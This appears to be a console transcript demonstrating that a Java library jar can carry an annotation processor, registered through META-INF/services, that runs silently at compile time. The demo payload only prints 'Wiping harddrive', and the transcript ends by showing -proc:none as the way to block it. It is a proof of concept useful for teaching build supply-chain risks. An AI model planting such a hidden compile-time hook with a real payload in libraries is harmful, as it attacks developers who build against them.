C:\Work\jap>test

C:\Work\jap>del *.jar

C:\Work\jap>cd malwarelib

C:\Work\jap\malwarelib>cd mylib

C:\Work\jap\malwarelib\mylib>type BrilliantStuff.java
package mylib;

public class BrilliantStuff {
    public void demo() {
        System.out.println("BrilliantStuff.demo called");
    }
}

C:\Work\jap\malwarelib\mylib>javac BrilliantStuff.java

C:\Work\jap\malwarelib\mylib>cd ..

C:\Work\jap\malwarelib>jar cvf ..\brilliant.jar mylib\*.class
added manifest
adding: mylib/BrilliantStuff.class(in = 429) (out= 291)(deflated 32%)

C:\Work\jap\malwarelib>cd ..

C:\Work\jap>type Test.java
import mylib.BrilliantStuff;

public class Test {
    public static void main(String[] args) {
        BrilliantStuff bs = new BrilliantStuff();
        bs.demo();
    }
}

C:\Work\jap>javac -cp brilliant.jar Test.java

C:\Work\jap>java -cp .;brilliant.jar Test
BrilliantStuff.demo called

C:\Work\jap>cd malwarelib

C:\Work\jap\malwarelib>cd myproc

C:\Work\jap\malwarelib\myproc>type Malware.java
package myproc;

import java.util.HashSet;
import java.util.Set;

import javax.annotation.processing.AbstractProcessor;
import javax.annotation.processing.ProcessingEnvironment;
import javax.annotation.processing.RoundEnvironment;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.TypeElement;

public class Malware extends AbstractProcessor {
    @Override
    public synchronized void init(ProcessingEnvironment env) {
        System.out.println("Wiping harddrive");
    }
    @Override
    public boolean process(Set<? extends TypeElement> annoations, RoundEnvironment env) {
        return false;
    }
    @Override
    public Set<String> getSupportedAnnotationTypes() {
        return new HashSet<String>();
    }
    @Override
    public SourceVersion getSupportedSourceVersion() {
        return SourceVersion.latestSupported();
    }
}


C:\Work\jap\malwarelib\myproc>javac Malware.java

C:\Work\jap\malwarelib\myproc>cd ..

C:\Work\jap\malwarelib>jar uvf ..\brilliant.jar myproc\*.class
adding: myproc/Malware.class(in = 1080) (out= 552)(deflated 48%)

C:\Work\jap\malwarelib>cd ..

C:\Work\jap>javac -cp brilliant.jar Test.java

C:\Work\jap>java -cp .;brilliant.jar Test
BrilliantStuff.demo called

C:\Work\jap>javac -cp brilliant.jar -processorpath brilliant.jar -processor myproc.Malware Test.java
Wiping harddrive

C:\Work\jap>java -cp .;brilliant.jar Test
BrilliantStuff.demo called

C:\Work\jap>cd malwarelib

C:\Work\jap\malwarelib>type META-INF\services\javax.annotation.processing.Processor
myproc.Malware

C:\Work\jap\malwarelib>jar uvf ..\brilliant.jar META-INF\services\*
adding: META-INF/services/javax.annotation.processing.Processor(in = 16) (out= 18)(deflated -12%)

C:\Work\jap\malwarelib>cd ..

C:\Work\jap>javac -cp brilliant.jar Test.java
Wiping harddrive

C:\Work\jap>java -cp .;brilliant.jar Test
BrilliantStuff.demo called

C:\Work\jap>javac -cp brilliant.jar -proc:none Test.java

C:\Work\jap>java -cp .;brilliant.jar Test
BrilliantStuff.demo called

C:\Work\jap>